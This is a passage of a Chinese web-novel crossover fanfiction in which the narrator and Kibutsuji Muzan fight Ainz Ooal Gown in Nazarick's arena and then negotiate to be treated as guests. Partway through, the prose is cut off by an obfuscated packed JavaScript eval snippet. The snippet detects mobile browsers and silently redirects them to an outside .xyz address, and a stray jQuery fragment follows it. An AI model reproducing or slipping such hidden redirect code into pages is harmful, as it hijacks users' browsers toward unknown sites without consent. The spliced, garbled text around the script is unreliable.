“商量结束了吗?”
不怒自威的声音打断了我和鬼舞辻无惨的对话,安兹重新捡起方才丢掉的弯刀和盾牌,摆出迎战的架势。
果然他还是想测试一下我们这边的战斗能力?或者说因为我和无惨没有踩他的雷,所以他想让我们“以战士的身份光荣地战死”?
若是后者的话实在有些难办,但毫无疑问的是想和安兹搞好些关系,确实需要用实战证明自己。
但愿钙质化能抗住他的攻击力量,两部作品之间的数值很难比较,只有尽全力将源石技艺发挥到极致。
“【不死者接触】的效果我也不太清楚,可能是触摸时随意施加一个负面状态,甚至是立即死亡。”我小声对无惨说了句,“他对低等级的物理伤害和魔法伤害免疫,但他并不是战士职业,所以我觉得能击落他的武器就可以和他谈谈了。”
我说完就从他身边跑开,试图吸引安兹的注意力。
论我和无惨的作战能力,应该他才是做主要输出的那个,那么就由我来扰乱敌人的行动。
“结束了的话,战斗就继续了!”随着进攻的宣言,身为法师却在尝试近战的安兹向这边攻来。
银白的钙物质覆盖上整个手臂,因为无法确定安兹所持的盾牌和弯刀究竟是什么材质,为了避免受伤,我还是选择将身体更多部位保护起来。
珐琅质的坚硬钙质化拳头锤向他的盾牌,没有留下太多损伤。缺少系统近身格斗训练带来的缺点便是我挥拳的动作幅度过大,难以兼顾挥出去后可能袭来的攻击,用游戏术语来讲就是后摇太大了。
安兹举起弯刀向下劈来,我回忆着《明日方舟》里的相关剧情,蹲下身在身边竖起一圈钙质防护层。
一些白色碎屑掉了下来,他的攻击确实能突破钙质化的防御,现在我确定了这一点。
我卸力撤下了钙质防护层,硬碰硬没有好结果,趁这个时候暂时先拉开距离。
几根黑色的荆棘从安兹身后卷出,绕着他形成一个包围网。
是无惨的血鬼术来着啊,用到黑血枳棘这个程度的话大概不仅是试探了,他应该能感觉到安兹的实力在什么程度,之后问问他对这个世界的等级有什么想法。
“这样就想困住我,天真!”安兹大喝一声,转身挥刀劈开血液织成的荆棘网。
我趁机后退离开了他的攻击范围,俯身屈膝压低重心,将双手手掌贴在地面上。
安兹·乌尔·恭免疫低等级的所有伤害以及大部分负面状态,普通的技能招式对他来说作用不大,那么必须拿出一个能博他眼球的招式。显然无惨那边的几招血鬼术已经让他感到新奇了,那么接下来我就提供一个辅助作用,让无惨的攻击能造成更多伤害。
纳萨力克第六层的布景是蓝色星球,拥有与外面如出一辙、甚至环境还要好上几分的景色,竞技场的地面倒只是普通的土石,如此一来施术不会受到太大阻碍。
银白色的法术扩散开,我的余光能瞥见自己身边有些细小的钙物质环绕着,在这片力场中的一切事物都慢了下来。
安兹能免疫大部分负面状态,但钙质化的减速众生平等。
大概是【钙质化】的效果本身也有恢复生命值,我也能感到自己体内的血液和细胞都处在活性状态,现在就算安兹用那把刀劈中我,短时间内我也应该不会死。
而这个技能的另一个最好用的效果,是可以让敌方受到的伤害增加。
我看向鬼舞辻无惨。
他的一只手臂化成长着复数眼睛的异形生物模样,张开带有獠牙的巨口咬向安兹,被减速的后者举盾的速度不及无惨的攻击速度,硬接了一招。
事实证明我的设想是没问题的,但是我忘了一件事。
如果一定要给无惨的攻击分类的话,他打出去的应该是物理伤害。
【钙质化】能增加的是法术伤害。
在我小小地沉浸在自己用【钙质化】拐了物伤的幽默行为中时,安兹放下了刀和盾牌,给自己点了几个强化状态的技能,使用【飞行】离开了减速效果的钙质化力场。
说实话正好我的技能时间也要到头了,算了算正好是《明日方舟》中专精等级三级后的30秒持续时间,这样我也稍微对这系统给的技能强度有了更多了解。为了不露出破绽,我装作自己是看见安兹离开才收起技能的样子,重新站直身子走回无惨身旁。
安兹抬起的骷髅手掌前浮现复杂的法阵,而他口中迅速吟唱出即将施展的魔法。
“【魔法最强化·万雷灭击】。”
喂喂喂不带这样的啊!
上来就用高阶魔法,是试探?还是他觉得不能轻敌之后决定全力应战?
巨大的雷柱从天而降,这一招是必中技能,除了正面抗下伤害没有办法。
在技能被吟唱出到攻击降下不到一秒,很难说这点时间里我的脑子做了怎样的思考,只是在看见无惨手臂上的异形生物延展开一面肉盾的瞬间,我下意识扶着他的肩膀踮脚将另一只手搭在他举起的手臂上。
肉盾迅速覆上一层银白,钙物质一边延伸一边加固形成不导电的硬质成分,这只是我当即判断下来能做到的最高防御。雷柱劈下来,倒是真的被这样一面护盾挡下了,只是表层的钙质防护还是被击落,下方的肉块也有些焦黑。
无惨随意地看了眼自己受伤的地方,并没有在意,修复后便收回了手部的变形。
“反应还不错。”他瞥了我一眼,继续盯住对面的安兹,不知道对方之后又会用出什么技能。
而安兹身边则发起光来,一圈圈更复杂诡谲的法阵绕着他的身体展开。
不妙的预感在心头敲响警钟。
不死者缓缓开口。
“你们的实力已经超过了这里的大部分人,而且使用的技能也是至今为止我未曾见过的,说实话,我很惊喜。”他的衣带缓缓飘动,周身的数个法阵旋转着,不需要他动嘴吟唱就能进行技能读取,“我会给你们一个机会,若是能接下这一招,就给你们活命的机会。”
啊,所以说就算当时我告诉他我们是对遗迹好奇的冒险者,他也没打算让我们活着离开啊。
真不愧是……不,若是在其他时候他或许还能网开一面,与黑工结伴一同来这里成为纳萨力克防御系统测试的一环,他当然不会觉得小白鼠太多了。
鬼舞辻无惨来回打量着安兹身边那些发着光的法阵,问我那是什么。
我带着淡淡的绝望告诉他,是超位魔法。
“【天空坠落】,超大范围的区域AOE伤害,正面接下的话……”我迟疑了一下,还是把最坏的结果告诉了他,“可能会直接被打成渣吧。”
无惨的弱点只有阳光,不被阳光晒到他就死不了,但我确实也不能确定超位魔法这个等级的破坏力下,他是否还能重新再生血肉。
“代价是吟唱需要花很长时间,虽然这个时候可以主动攻击他,但我不建议这么做。”
安兹看上去没有使用氪金道具缩短发动时间的打算,他大概是真的想看看我们如何准备化解这一招,普通的攻击不可能达到打断他吟唱的威力,而且如果一定要做到博得他的欣赏的话……必须接下来,超位魔法。
我想起来无惨刚才用手臂化出的肉盾,转头问他:“你那个,呃……就是用过的那个婴儿的形态,可以再用一次那个吗?”
被提到他厌恶的回忆时他明显皱了眉,但没有直接否定这个提议,只是说了句:“你想用来做什么?我事先提醒你,如果你想借此来躲避他的攻击,你自己会先死在里面。”
我倒是从来不知道他那个形态增殖出的肉团内部还有攻击性。
算了管不了那么多了,超位魔法的吟唱虽需要长时间,但也不够一直犹豫不决的。我打开系统商店抓了个技能石,看着无惨身上开始生长出来的肉块,心中选定了要使用的技能。
“你给我留条命能奶回去就行,其他的事情,交给它吧。”
我扫了一眼还在技能CD的安兹那边,法阵里的光芒隐隐地有扩大的趋势,应该是吟唱快要完成了。我把技能石攥在手心,向无惨伸出手,肉团顺着我的手臂一路增殖,一股吸力将我拉向他,等肉团在身后闭合,我只觉得身上四肢和内脏都要被挤爆了。
“告诉你一个……就是……”我努力减小呼吸幅度,让自己不至于受到更多挤压,“圣域之下……无法伤。”
手中的技能石微微发热,可惜胳膊挤在我身后,我没法看见那颗小石头具体怎么变化了。
温暖的力场以我的手掌为重心展开,连带着全身被挤压受到的疼痛都减轻了些,模糊的视线里满是蓝萤的光。
声音被隔绝在无惨这个形态的肉团外,只听见隐隐约约的轰鸣,下方的地面似乎在颤动,大概是超位魔法本体落下来了,希望这持续时间足足一分钟的【圣域】能抵抗那些法术伤害。
说起来我是不是该多给自己再买个锁血技能?虽然那样要花费的积分就有些太多了,但如果有锁血或者复活甲技能的话就不至于这么艰难了,虽然那种技能也没办法兼顾两个人……
好了不要想了,现在我身上处于一个不断受到挤压伤害又不断在【圣域】的效果中得到治疗的状态,真的糟透了。
哈哈原来恐怖公的房间就是这个待遇,那我死也不要去那里。
压力减轻的时候我意识有些模糊地反应过来应该是无惨确认外界安全了,话说回来到他能确定安全而放松防御的时候,应该离对方的魔法技能结束又过去了一段时间了,那我真是多受了不少罪。
他将增殖出的肉团慢慢收回去,我从里面脱出摔在地上,胸腹腔内的疼痛和翻滚让我吐出一口血。运气好的是身上的伤赶着【圣域】的尾巴得到了治疗,就是还得缓一会才能站起来。
我究竟是怎么每次都把自己搞得那么狼狈的?
“虽然稍微降低了技能的伤害,但能有这样的结果,还是非常出色的表现。”周围是被超位魔法轰至焦黑的土地,安兹·乌尔·恭矗立在对面,语气中带着欣喜,“现在来讲讲吧,你们来到纳萨力克的目的,大概并不是普通的冒险者吧。”
我对无惨招招手示意我来和那老骨头对话,随后爬起来眨眨眼让自己的表情看起来轻松一些。
我向前一步抬头看着那对空洞的眼窝中一点猩红的光,说:“说实话,在看见您刚才使用的技能之后,我大概确定了一些事情。我想首先请教一个问题,‘安兹·乌尔·恭’,真的是您的本名吗?”
“哦?此话怎讲?”
“我曾在一个朋友那里听说过一些……一些人,他们组成的组织——那个朋友说是叫公会——那个名字好像和这个很像。”我尝试编造一些朋友的故事,“所以我有些疑虑,安兹·乌尔·恭似乎是那个组织的名字,而非一个人的姓名。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679146|173202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安兹看着我陷入沉默。我知道在四谋士刚刚以他深爱的朋友欺骗他的行为之后,我再次提起这些很难让他相信,但现在这是最好的办法。也正是因为这一点,我不能将自己塑造为YGGDRASIL玩家,因为我对这个虚拟作品的游戏了解还是太少,露出一点破绽都可能导向比四谋士更糟糕的结局。
有一个万能的说法就是“我有一个朋友”,有一个YGGDRASIL玩家的朋友,从那个朋友口中听过游戏的部分知识,了解一些、却又不是那么了解,这个解释最合适。
“事实上,朋友以前和我聊过的内容是,那个组织的首领名字应该是叫莫莫什么来着,莫莫……诶?莫莫,不是外面的那个……”我装作突然想起外头那个精钢级冒险者的名字的模样,用他人能听见的话自言自语了两句,余光瞥见安兹放松了些攻击架势。
“安兹大人,这样的话术依然有可能是欺骗您的手段。”雅儿贝德在一旁提醒,而安兹抬手示意他了解,也自有打算。
经过短暂的思量,他问了我最后一个问题:“要验证你的话是否真实的话,只需要回答接下来的一个问题就行。纳萨力克曾经遭遇过一次大规模进攻,这件事也不是秘密,我需要你回答的是:你的朋友在那个时候,做了什么?”
好问题,我那不存在的朋友在那个时候做了什么呢?
纳萨力克遭遇几大公会联合进攻的设定我也记得一些,在大型网游里这种事确实会登上社区论坛的头条,所以只要是玩家,应该无人不晓。若是“我的朋友”与我关系足够亲密,那一定会和我讲那次重大事件,而安兹问题的关键在于我的朋友在那次事件中扮演了什么角色。
如果回答朋友是进攻方的话我觉得我离死也不远了。
但我也实在无法了解那次进攻更具体的细节,要找个既能不引起仇恨又能说服他们的理由的话……
“朋友确实和我讲过,他说那次事件之后广为流传的一个说法是遗迹内部经过禁忌改造,但他本人在那个时间恰好因家事退坑……不,应该说是隐退比较合适,他那会父母过世忙着处理后事,无暇顾及工作上的事务。”
我也是故意加重了退坑一词,好让自己表现得像一个穿越到异世界不确定谁也是穿越者的云玩家,现代流行语都是通用的,安兹会明白我在说什么。
他应该是完全解除了战斗状态,在准备说些什么的时候,夏提雅从竞技场外飞回来了,带着之前逃走的阿尔谢的尸体。
“安兹大人,属下已经完成了您的命令,”她将那个小姑娘的尸体放下,走向安兹的时候看了我一眼,“您现在是在决定对这两个入侵者的处理吗?那么如果可以的话,属下希望能得到那个孩子……”
“不夏提雅,他们是纳萨力克的客人。”安兹淡淡地说了句,算是一锤定音,给刚才的对话收了尾,随后开始接收其他各层的战果信息。
啊,毕竟夏提雅原本应该是想将阿尔谢活捉回去当玩具来着……因为安兹“无痛之死”的命令她应该是没能达成心愿,所以在这里看到我了吗……
还是不要去想了。
刚走开一些接收战果的安兹又走了回来,抬手指向鬼舞辻无惨:“说起来,你的这位同伴似乎和你不是一个种族的,他应该不是人类吧。”
“啊,他是……”我回头看向无惨,他似乎并没有向对方详细介绍自己的打算,而在我犹豫着不知道该怎么描述的时候,安兹继续说了下去。
“我的属下汇报给我的战况中,有在外部遗迹的小白鼠里发现一个受伤能自动痊愈、无法被杀死的个体,他是否是你的手下?”他直接问了无惨。
外部遗迹的某个个体吗,那边是他用来测试一些装备了高等级装备的小怪的地方,那边的人在作品中都是被不死者小怪杀死的。
我想起来了,是无惨之前随手转化的那个鬼啊!
我对无惨笑笑,重新看向安兹也礼貌地笑着解释说:“他确实不是人类,外面的那个可以看作他的眷属吧,不过那个对他来说应该也没什么用了,如果您愿意,可以继续留作‘小白鼠’。”
“他的种族我未曾见过,似乎有些类似吸血鬼真祖,但还是有差别,说实话我很好奇,因为似乎是更加稀有的物种,不过毕竟也已经答应下来了,虽然有些可惜……”短暂的低声自语后,安兹抬手致意道,“抱歉,忘记我刚才的话吧,我会按照承诺以客人的规格接待二位。”
他该不会……对着无惨犯收集癖了吧!
那种事情、那种事情不可以!
我拉上无惨的衣袖对安兹补充:“他是我在来到这里之前认识的,如果您想了解,之后我可以为您介绍,不过因为他是我的主人,而我也是有点占有欲的嘛,请您不要用太热烈的眼神看着他啦。”
我隐约听见了安兹小声的感慨,还有类似强制冷静的效果发动的声音。
果然对于内核拥有现代人认知的铃木悟来讲,我刚才的话有些超前了,不过这样应该就能让他不要再想着收藏稀有物种的事了。
“你居然真的这么说了啊。”等安兹走后,无惨从我手中抽回了自己的袖子。
“因为他有收集癖嘛,我确实有点担心他把你当作稀有种族纳入收藏了。”我挠挠脸颊看向旁边,“总不能告诉他是我召唤或者捕获了你吧,那样他更不相信的,虽然我也想那么说。”
“呵,论做白日梦,我看你确实是挺擅长。”